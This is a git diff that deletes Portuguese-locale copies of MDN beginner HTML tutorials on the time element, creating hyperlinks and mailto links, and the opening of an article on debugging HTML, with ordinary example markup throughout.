-<p>But these different forms cannot be easily recognised by computers — what if you wanted to automatically grab the dates of all events in a page and insert them into a calendar? The {{htmlelement("time")}} element allows you to attach an unambiguous, machine-readable time/date for this purpose.</p>
-
-<p>The basic example above just provides a simple machine readable date, but there are many other options that are possible, for example:</p>
-
-<pre class="brush: html">&lt;!-- Standard simple date --&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20<span class="pl-pds">"</span></span>&gt;20 January 2016&lt;/<span class="pl-ent">time</span>&gt;
-&lt;!-- Just year and month --&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01<span class="pl-pds">"</span></span>&gt;January 2016&lt;/<span class="pl-ent">time</span>&gt;
-&lt;!-- Just month and day --&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>01-20<span class="pl-pds">"</span></span>&gt;20 January&lt;/<span class="pl-ent">time</span>&gt;
-&lt;!-- Just time, hours and minutes --&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>19:30<span class="pl-pds">"</span></span>&gt;19:30&lt;/<span class="pl-ent">time</span>&gt;
-&lt;!-- You can do seconds and milliseconds too! --&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span></span>19:30:01.856<span class="pl-s"><span class="pl-pds">"</span></span>&gt;19:30:01.856&lt;/<span class="pl-ent">time</span>&gt;
-&lt;!-- Date and time --&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20T19:30<span class="pl-pds">"</span></span>&gt;7.30pm, 20 January 2016&lt;/<span class="pl-ent">time</span>&gt;
-&lt;!-- Date and time with timezone offset--&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-01-20T19:30<span class="pl-pds">+01:00"</span></span>&gt;7.30pm, 20 January 2016 is 8.30pm in France&lt;/<span class="pl-ent">time</span>&gt;
-&lt;!-- Calling out a specific week number--&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2016-W04<span class="pl-pds">"</span></span>&gt;The fourth week of 2016&lt;/<span class="pl-ent">time</span>&gt;</pre>
-
-<h2 id="Summary">Summary</h2>
-
-<p>That marks the end of our study of HTML text semantics. Bear in mind that what you have seen during this course is not an exhaustive list of HTML text elements — we wanted to try to cover the essentials, and some of the more common ones you will see in the wild, or at least might find interesting. To find way more HTML elements, you can take a look at our <a href="/en-US/docs/Web/HTML/Element">HTML element reference</a> (the <a href="/en-US/docs/Web/HTML/Element#Inline_text_semantics">Inline text semantics</a> section would be a great place to start.) In the next article we will look at the HTML elements you'd use to structure the different parts of an HTML document.</p>
-
-<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</p>
-
-<p> </p>
-
-<h2 id="In_this_module">In this module</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
-</ul>
-
-<p> </p>
diff --git a/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html
deleted file mode 100644
index 2e7a228447..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/creating_hyperlinks/index.html
+++ /dev/null
@@ -1,332 +0,0 @@
----
-title: Criar hiperligações
-slug: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks
-tags:
- - Aprender
- - Guía
- - HTML
- - HTTP
- - Hiperligações
- - Principiante
- - URL
- - título
-translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks
-original_slug: Learn/HTML/Introducao_ao_HTML/Criar_hiperligacoes
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</div>
-
-<p class="summary">Hyperlinks are really important — they are what makes the Web <em>a web</em>. This article shows the syntax required to make a link, and discusses link best practices.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>Basic HTML familiarity, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>. HTML text formatting, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>To learn how to implement a hyperlink effectively, and link multiple files together.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="What_is_a_hyperlink">What is a hyperlink?</h2>
-
-<p>Hyperlinks are one of the most exciting innovations the Web has to offer. Well, they've been a feature of the Web since the very beginning, but they are what makes the Web <em>a Web</em> — they allow us to link our documents to any other document (or other resource) we want to, we can also link to specific parts of documents, and we can make apps available at a simple web address (contrast this to native apps, which have to be installed and all that business.) Just about any web content can be converted to a link, so that when clicked (or otherwise activated) it will make the web browser go to another web address ({{glossary("URL")}}).</p>
-
-<div class="note">
-<p><strong>Note</strong>: A URL can point to HTML files, text files, images, text documents, video and audio files, and anything else that can live on the Web. If the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on.)</p>
-</div>
-
-<p>The BBC homepage, for example, contains a large number of links that point not only to multiple news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools) and more.</p>
-
-<p><img alt="frontpage of bbc.co.uk, showing many news items, and navigation menu functionality" src="https://mdn.mozillademos.org/files/12405/bbc-homepage.png" style="display: block; margin: 0 auto;"></p>
-
-<h2 id="Anatomy_of_a_link">Anatomy of a link</h2>
-
-<p>A basic link is created by wrapping the text (or other content, see {{anch("Block level links")}}) you want to turn into a link inside an {{htmlelement("a")}} element, and giving it an {{htmlattrxref("href", "a")}} attribute (also known as a <strong>Hypertext Reference</strong> , or <strong>target</strong>) that will contain the web address you want the link to point to.</p>
-
-<pre class="brush: html">&lt;p&gt;I'm creating a link to
-&lt;a href="https://www.mozilla.org/en-US/"&gt;the Mozilla homepage&lt;/a&gt;.
-&lt;/p&gt;</pre>
-
-<p>This gives us the following result:</p>
-
-<p>I'm creating a link to <a class="ignore-external" href="https://www.mozilla.org/en-US/">the Mozilla homepage</a>.</p>
-
-<h3 id="Adding_supporting_information_with_the_title_attribute">Adding supporting information with the title attribute</h3>
-
-<p>Another attribute you may want to add to your links is <code>title</code>; this is intended to contain supplementary useful information about the link, such as what kind of information the page contains, or things to be aware of. For example:</p>
-
-<pre class="brush: html">&lt;p&gt;I'm creating a link to
-&lt;a href="https://www.mozilla.org/en-US/"
- title="The best place to find more information about Mozilla's
- mission and how to contribute"&gt;the Mozilla homepage&lt;/a&gt;.
-&lt;/p&gt;</pre>
-
-<p>This gives us the following result (the title will come up as a tooltip when the link is hovered over):</p>
-
-<p>I'm creating a link to <a class="ignore-external" href="https://www.mozilla.org/en-US/" title="The best place to find more information about Mozilla's mission and how to contribute">the Mozilla homepage</a>.</p>
-
-<div class="note">
-<p><strong>Note</strong>: A link title is only revealed on mouse hover, which means that people relying on keyboard controls to navigate web pages will have difficulty accessing title information. If a title's information is truly important to the usability of page, then you should present it in a manner that will be accessible to all users, for example by putting it in the regular text.</p>
-</div>
-
-<h3 id="Active_learning_creating_your_own_example_link">Active learning: creating your own example link</h3>
-
-<p>Active learning time: we'd like you to create an HTML document using your local code editor (our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">getting started template</a> would do just fine.)</p>
-
-<ul>
- <li>Inside the HTML body, try adding one or more paragraphs or other types of content you already know about.</li>
- <li>Turn some of the content into links.</li>
- <li>Include title attributes.</li>
-</ul>
-
-<h3 id="Block_level_links">Block level links</h3>
-
-<p>As mentioned before, you can turn just about any content into a link, even <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Block_versus_inline_elements">block level elements</a>. If you had an image you wanted to turn into a link, you could just put the image between <code>&lt;a&gt;&lt;/a&gt;</code> tags.</p>
-
-<pre class="brush: html">&lt;a href="https://www.mozilla.org/en-US/"&gt;
- &lt;img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"&gt;
-&lt;/a&gt;</pre>
-
-<div class="note">
-<p><strong>Note</strong>: You'll find out a lot more about using images on the Web in a future article.</p>
-</div>
-
-<h2 id="A_quick_primer_on_URLs_and_paths">A quick primer on URLs and paths</h2>
-
-<p>To fully understand link targets, you need to understand URLs and file paths. This section gives you the information you need to achieve this.</p>
-
-<p>A URL, or Uniform Resource Locator is simply a string of text that defines where something is located on the Web. For example Mozilla's English homepage is located at <code>https://www.mozilla.org/en-US/</code>.</p>
-
-<p>URLs use paths to find files. Paths specify where in the filesystem the file you are interested in is located. Let's look at a simple example of a directory structure (see the <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/creating-hyperlinks">creating-hyperlinks</a> directory.)</p>
-
-<p><img alt="A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively" src="https://mdn.mozillademos.org/files/12409/simple-directory.png" style="display: block; margin: 0 auto;"></p>
-
-<p>The <strong>root</strong> of this directory structure is called <code>creating-hyperlinks</code>. When working locally with a web site, you will have one directory that the whole site goes inside. Inside the root, we have an <code>index.html</code> file and a <code>contacts.html</code>. In a real website, <code>index.html</code> would be our home page or landing page (a web page that serves as the entry point for a website or a particular section of a website.).</p>
-
-<p>There are also two directories inside our root — <code>pdfs</code> and <code>projects</code>. These each have a single file inside them — a PDF (<code>project-brief.pdf</code>) and an <code>index.html</code> file, respectively. Note how you can quite happily have two <code>index.html</code> files in one project as long as they are in different locations in the filesystem. Many web sites do. The second <code>index.html</code> would perhaps be the main landing page for project-related information.</p>
-
-<ul>
- <li>
- <p><strong>Same directory</strong>: If you wanted to include a hyperlink inside <code>index.html</code> (the top level <code>index.html</code>) pointing to <code>contacts.html</code>, you would just need to specify the filename of the file you want to link to, as it is in the same directory as the current file. So the URL you would use is <code>contacts.html</code>:</p>
-
- <pre class="brush: html">&lt;p&gt;Want to contact a specific staff member?
-Find details on our &lt;a href="contacts.html"&gt;contacts page&lt;/a&gt;.&lt;/p&gt;</pre>
- </li>
- <li>
- <p><strong>Moving down into subdirectories</strong>: If you wanted to include a hyperlink inside <code>index.html</code> (the top level <code>index.html</code>) pointing to <code>projects/index.html</code>, you would need to go down into the <code>projects</code> directory before indicating the file you want to link to. This is done by specifying the directory's name, then a forward slash, then the name of the file. so the URL you would use is <code>projects/index.html</code>:</p>
-
- <pre class="brush: html">&lt;p&gt;Visit my &lt;a href="projects/index.html"&gt;project homepage&lt;/a&gt;.&lt;/p&gt;</pre>
- </li>
- <li>
- <p><strong>Moving back up into parent directories</strong>: If you wanted to include a hyperlink inside <code>projects/index.html</code> pointing to <code>pdfs/project-brief.pdf</code>, you'd have to go up a directory level, then back down into the <code>pdf</code> directory. "Go up a directory" is indicated using two dots — <code>..</code> — so the URL you would use is <code>../pdfs/project-brief.pdf</code>:</p>
-
- <pre class="brush: html">&lt;p&gt;A link to my &lt;a href="../pdfs/project-brief.pdf"&gt;project brief&lt;/a&gt;.&lt;/p&gt;</pre>
- </li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: You can combine multiple instances of these features into complex URLs, if needed, e.g. <code>../../../complex/path/to/my/file.html</code>.</p>
-</div>
-
-<h3 id="Document_fragments">Document fragments</h3>
-
-<p>It is possible to link to a specific part of an HTML document (known as a <strong>document fragment</strong>), rather than just to the top of the document. To do this you first have to assign an {{htmlattrxref("id")}} attribute to the element you want to link to. It normally makes sense to link to a specific heading, so this would look something like the following:</p>
-
-<pre class="brush: html">&lt;h2 id="Mailing_address"&gt;Mailing address&lt;/h2&gt;</pre>
-
-<p>Then to link to that specific <code>id</code>, you'd include it at the end of the URL, preceded by a hash/pound symbol, for example:</p>
-
-<pre class="brush: html">&lt;p&gt;Want to write us a letter? Use our &lt;a href="contacts.html#Mailing_address"&gt;mailing address&lt;/a&gt;.&lt;/p&gt;</pre>
-
-<p>You can even use the document fragment reference on its own to link to <em>another part of the same document</em>:</p>
-
-<pre class="brush: html">&lt;p&gt;The &lt;a href="#Mailing_address"&gt;company mailing address&lt;/a&gt; can be found at the bottom of this page.&lt;/p&gt;</pre>
-
-<h3 id="Absolute_versus_relative_URLs">Absolute versus relative URLs</h3>
-
-<p>Two terms you'll come across on the Web are <strong>absolute URL</strong> and <strong>relative URL:</strong></p>
-
-<p><strong>absolute URL</strong>: Points to a location defined by its absolute location on the web, including {{glossary("protocol")}} and {{glossary("domain name")}}. So for example, if an <code>index.html</code> page is uploaded to a directory called <code>projects</code> that sits inside the root of a web server, and the web site's domain is <code>http://www.example.com</code>, the page would be available at <code>http://www.example.com/projects/index.html</code> (or even just <code>http://www.example.com/projects/</code>, as most web servers just look for a landing page such as <code>index.html</code> to load if it is not specified in the URL.)</p>
-
-<p>An absolute URL will always point to the same location, no matter where it is used.</p>
-
-<p><strong>relative URL</strong>: Points to a location that is <em>relative</em> to the file you are linking from, more like what we looked at in the previous section. For example, if we wanted to link from our example file at <code>http://www.example.com/projects/index.html</code> to a PDF file in the same directory, the URL would just be the filename — e.g. <code>project-brief.pdf</code> — no extra information needed. If the PDF was available in a subdirectory inside <code>projects</code> called <code>pdfs</code>, the relative link would be <code>pdfs/project-brief.pdf</code> (the equivalent absolute URL would be <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>.)</p>
-
-<p>A relative URL will point to different places depending on where the file it is used inside is located — for example if we moved our <code>index.html</code> file out of the <code>projects</code> directory and into the root of the web site (the top level, not in any directories), the <code>pdfs/project-brief.pdf</code> relative URL link inside it would now point to a file located at <code>http://www.example.com/pdfs/project-brief.pdf</code>, not a file located at <code>http://www.example.com/projects/pdfs/project-brief.pdf</code>.</p>
-
-<p>Of course, the location of the <code>project-brief.pdf</code> file and <code>pdfs</code> folder won't suddenly change because you moved the <code>index.html</code> file — this would make your link point to the wrong place, so it wouldn't work if clicked on. You need to be careful!</p>
-
-<h2 id="Link_best_practices">Link best practices</h2>
-
-<p>There are some best practices to follow when writing links. Let's look at these now.</p>
-
-<ul>
-</ul>
-
-<h3 id="Use_clear_link_wording">Use clear link wording</h3>
-
-<p>It's easy to throw links up on your page. That's not enough. We need to make our links <em>accessible </em>to all readers, regardless of their current context and which tools they prefer. For example:</p>
-
-<ul>
- <li>Screenreader users like jumping around from link to link on the page, and reading links out of context.</li>
- <li>Search engines use link text to index target files, so it is a good idea to include keywords in your link text to effectively describe what is being linked to.</li>
- <li>Visual readers skim over the page rather than reading every word, and their eyes will be drawn to page features that stand out, like links. They will find descriptive link text useful.</li>
-</ul>
-
-<p>Let's look at a specific example:</p>
-
-<p><em><strong>Good</strong> link text:</em> <a href="https://firefox.com">Download Firefox</a></p>
-
-<pre class="brush: html">&lt;p&gt;&lt;a href="https://firefox.com/"&gt;
- Download Firefox
-&lt;/a&gt;&lt;/p&gt;</pre>
-
-<p><em><strong>Bad</strong> link text:</em> <a href="https://firefox.com/">Click here</a> to download Firefox</p>
-
-<pre class="brush: html">&lt;p&gt;&lt;a href="https://firefox.com/"&gt;
- Click here
-&lt;/a&gt;
-to download Firefox&lt;/p&gt;
-</pre>
-
-<p>Other tips:</p>
-
-<ul>
- <li>Don't repeat the URL as part of the link text — URLs look ugly, and sound even uglier when a screen reader reads them out letter by letter.</li>
- <li>Don't say "link" or "links to" in the link text — it's just noise. Screen readers tell people there's a link. Visual users will also know there's a link, because links are generally styled in a different colour and underlined (this convention generally shouldn't be broken, as users are so used to it.)</li>
- <li>Keep your link label as short as possible — long links especially annoy screen reader users, who have to hear the whole thing read out.</li>
- <li>Minimize instances where multiple copies of the same text are linked to different places. This can cause problems for screenreader users, who will often bring up a list of the links out of context — several links all labelled "click here", "click here", "click here" would be confusing.</li>
-</ul>
-
-<h3 id="Use_relative_links_wherever_possible">Use relative links wherever possible</h3>
-
-<p>From the description above, you might think that it is a good idea to just use absolute links all the time; after all, they don't break when a page is moved like relative links. However, you should use relative links wherever possible when linking to other locations within the <em>same website</em> (when linking to <em>another website</em>, you will need to use an absolute link):</p>
-
-<ul>
- <li>For a start, it is a lot easier to scan your code — relative URLs are generally a lot shorter than absolute URLs, which makes reading code much easier.</li>
- <li>Second, it is more efficient to use relative URLs wherever possible. When you use an absolute URL, the browser starts by looking up the real location of the server on the Domain Name System ({{glossary("DNS")}}; see <a href="/en-US/docs/Learn/Getting_started_with_the_web/How_the_Web_works">How the web works</a> for more information), then it goes to that server and finds the file that is being requested. With a relative URL on the other hand, the browser just looks up the file that is being requested, on the same server. So if you use absolute URLs where relative URLs would do, you are constantly making your browser do extra work, meaning that it will perform less efficiently.</li>
-</ul>
-
-<h3 id="Linking_to_non-HTML_resources_—_leave_clear_signposts">Linking to non-HTML resources — leave clear signposts</h3>
-
-<p>When linking to a resource that will be downloaded (like a PDF or Word document) or streamed (like video or audio) or has another potentially unexpected effect (opens a popup window, or loads a Flash movie), you should add clear wording to reduce any confusion. It can be quite annoying for example:</p>
-
-<ul>
- <li>If you are on a low bandwidth connection, click a link and then a multiple megabyte download starts unexpectedly.</li>
- <li>If you haven't got the Flash player installed, click a link and then suddenly get taken to a page that requires Flash.</li>
-</ul>
-
-<p>Let's look at some examples, to see what kind of text can be used here:</p>
-
-<pre class="brush: html">&lt;p&gt;&lt;a href="http://www.example.com/large-report.pdf"&gt;
- Download the sales report (PDF, 10MB)
-&lt;/a&gt;&lt;/p&gt;
-
-&lt;p&gt;&lt;a href="http://www.example.com/video-stream/" target="_blank"&gt;
- Watch the video (stream opens in separate tab, HD quality)
-&lt;/a&gt;&lt;/p&gt;
-
-&lt;p&gt;&lt;a href="http://www.example.com/car-game"&gt;
- Play the car game (requires Flash)
-&lt;/a&gt;&lt;/p&gt;</pre>
-
-<h3 id="Use_the_download_attribute_when_linking_to_a_download">Use the download attribute when linking to a download</h3>
-
-<p>When you are linking to a resource that is to be downloaded rather than opened in the browser, you can use the <code>download</code> attribute to provide a default save filename. Here's an example with a download link to the latest Windows version of Firefox:</p>
-
-<pre class="brush: html">&lt;a href="https://download.mozilla.org/?product=firefox-latest-ssl&amp;os=win64&amp;lang=en-US"
- download="firefox-latest-64bit-installer.exe"&gt;
- Download Latest Firefox for Windows (64-bit) (English, US)
-&lt;/a&gt;</pre>
-
-<h2 id="Active_learning_creating_a_navigation_menu">Active learning: creating a navigation menu</h2>
-
-<p>For this exercise, we'd like you to link some pages together with a navigation menu to create a multi-page website. This is one common way in which a website is created — the same page structure is used on every page, including the same navigation menu, so when links are clicked it gives the impression that you are staying in the same place, and different content is being brought up.</p>
-
-<p>You'll need to make local copies of the following four pages, all in the same directory (see also the <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-start">navigation-menu-start</a> directory for a full file listing):</p>
-
-<ul>
- <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/index.html">index.html</a></li>
- <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/projects.html">projects.html</a></li>
- <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/pictures.html">pictures.html</a></li>
- <li><a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/navigation-menu-start/social.html">social.html</a></li>
-</ul>
-
-<p>You should:</p>
-
-<ol>
- <li>Add an unordered list in the indicated place on one page, containing the names of the pages to link to. A navigation menu is usually just a list of links, so this is semantically ok.</li>
- <li>Turn each page name into a link to that page.</li>
- <li>Copy the navigation menu across to each page.</li>
- <li>On each page, remove just the link to that same page — it is confusing and pointless for a page to include a link to itself, and the lack of a link acts a good visual reminder of what page you are currently on.</li>
-</ol>
-
-<p>The finished example should end up looking something like this:</p>
-
-<p><img alt="An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items" src="https://mdn.mozillademos.org/files/12411/navigation-example.png" style="display: block; margin: 0 auto;"></p>
-
-<div class="note">
-<p><strong>Note</strong>: If you get stuck, or are not sure if you have got it right, you can check the <a href="https://github.com/mdn/learning-area/tree/master/html/introduction-to-html/navigation-menu-marked-up">navigation-menu-marked-up</a> directory to see the correct answer.</p>
-</div>
-
-<h2 id="E-mail_links">E-mail links</h2>
-
-<p>It is possible to create links or buttons that, when clicked, open a new outgoing email message rather than linking to a resource or page. This is done using the {{HTMLElement("a")}} element and the <code>mailto:</code> URL scheme.</p>
-
-<p>In its most basic and commonly used form, a <code>mailto:</code> link simply indicates the email address of the intended recipient. For example:</p>
-
-<pre class="brush: html">&lt;a href="mailto:nowhere@mozilla.org"&gt;Send email to nowhere&lt;/a&gt;
-</pre>
-
-<p>This results in a link that looks like this: <a href="mailto:nowhere@mozilla.org">Send email to nowhere</a>.</p>
-
-<p>In fact, the email address is even optional. If you leave it out (that is, your {{htmlattrxref("href", "a")}} is simply "mailto:"), a new outgoing email window will be opened by the user's mail client that has no destination address specified yet. This is often useful as "Share" links that users can click to send an email to an address of their choosing.</p>
-
-<h3 id="Specifying_details">Specifying details</h3>
-
-<p>In addition to the email address, you can provide other information. In fact, any standard mail header fields can be added to the <code>mailto</code> URL you provide. The most commonly used of these are "subject", "cc", and "body" (which is not a true header field, but allows you to specify a short content message for the new email). Each field and its value is specified as a query term.</p>
-
-<p>Here's an example that includes a cc, bcc, subject and body:</p>
-
-<pre class="brush: html">&lt;a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&amp;bcc=name3@rapidtables.com&amp;subject=The%20subject%20of%20the%20email&amp;body=The%20body%20of%20the%20email"&gt;
- Send mail with cc, bcc, subject and body
-&lt;/a&gt;</pre>
-
-<div class="note">
-<p><strong>Note:</strong> The values of each field must be URL-encoded, that is with non-printing characters (invisible characters like tabs, carriage returns, and page breaks) and spaces <a href="http://en.wikipedia.org/wiki/Percent-encoding">percent-escaped</a>. Also note the use of the question mark (<code>?</code>) to separate the main URL from the field values, and ampersands (&amp;) to separate each field in the <code>mailto:</code> URL. This is standard URL query notation. Read <a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data#The_GET_method">The GET method</a> to understand what URL query notation is more comonly used for.</p>
-</div>
-
-<p>Here are a few other sample <code>mailto</code> URLs:</p>
-
-<ul>
- <li><a href="mailto:">mailto:</a></li>
- <li><a href="mailto:nowhere@mozilla.org">mailto:nowhere@mozilla.org</a></li>
- <li><a href="mailto:nowhere@mozilla.org,nobody@mozilla.org">mailto:nowhere@mozilla.org,nobody@mozilla.org</a></li>
- <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org</a></li>
- <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&amp;subject=This%20is%20the%20subject">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&amp;subject=This%20is%20the%20subject</a></li>
-</ul>
-
-<h2 id="Summary">Summary</h2>
-
-<p>That's it for links, for now anyway! You'll return to links later on in the course when you start to look at styling them. Next up for HTML, we'll return to text semantics and look at some more advanced/unusual features that you'll find useful — Advanced text formatting is your next stop.</p>
-
-<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</p>
-
-<h2 id="In_this_module">In this module</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
-</ul>
diff --git a/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html b/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html
deleted file mode 100644
index fe3a77d5df..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/debugging_html/index.html
+++ /dev/null
@@ -1,187 +0,0 @@
----
-title: Depurar HTML
-slug: Learn/HTML/Introduction_to_HTML/Debugging_HTML
-tags:
- - Depuração
- - Erro
- - Guía
- - HTML
- - Principiante
- - Validação
-translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML
-original_slug: Learn/HTML/Introducao_ao_HTML/Depurar_HTML
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div>
-
-<p class="summary">Writing HTML is fine, but what if something goes wrong, and you can't work out where the error in the code is? This article will introduce you to some tools that can help you find and fix errors in HTML.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>HTML familiarity, as covered in for example <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>, <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>, and <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>Learn the basics of using debugging tools to find problems in HTML.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Debugging_isn't_scary">Debugging isn't scary</h2>
-
-<p>When writing code of some kind, everything is usually fine, until that dreaded moment when an error occurs — you've done something wrong, so your code doesn't work — either not at all, or not quite how you wanted it to. For example, the following shows an error reported when trying to {{glossary("compile")}} a simple program written in the <a href="https://www.rust-lang.org/">Rust</a> language.</p>
-
-<p><img alt="A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string." src="https://mdn.mozillademos.org/files/12435/error-message.png" style="display: block; height: 520px; margin: 0px auto; width: 711px;">Here, the error message is relatively easy to understand — "unterminated double quote string". If you look at the listing, you can probably see how <code>println!(Hello, world!");</code> might logically be missing a double quote. However, error messages can quickly get more complicated and less easy to interpret as programs get bigger, and even simple cases can look a little intimidating to someone who doesn't know anything about Rust.</p>
-
-<p>Debugging doesn't have to be scary though —  the key to being comfortable with writing and debugging any programming language or code is familiarity with both the language and the tools.</p>
-
-<h2 id="HTML_and_debugging">HTML and debugging</h2>
-
-<p>HTML is not as complicated to understand as Rust. HTML is not compiled into a different form before the browser parses it and shows the result (it is <em>interpreted</em>, not <em>compiled</em>). And HTML's {{glossary("element")}} syntax is arguably a lot easier to understand than a "real programming language" like Rust, {{glossary("JavaScript")}}, or {{glossary("Python")}}. The way that browsers parse HTML is a lot more <strong>permissive</strong> than how programming languages are run, which is both a good and a bad thing.</p>
-
-<h3 id="Permissive_code">Permissive code</h3>
-
-<p>So what do we mean by permissive? Well, generally when you do something wrong in code, there are two main types of error that you'll come across:</p>
-
-<ul>
- <li><strong>Syntax errors</strong>: These are spelling errors in your code that actually cause the program not to run, like the Rust error shown above. These are usually easy to fix as long as you are familiar with the language's syntax and know what the error messages mean.</li>
- <li><strong>Logic errors</strong>: These are errors where the syntax is actually correct, but the code is not what you intended it to be, meaning that program runs incorrectly. These are often harder to fix than syntax errors, as there isn't an error message to direct you to the source of the error.</li>
-</ul>
-
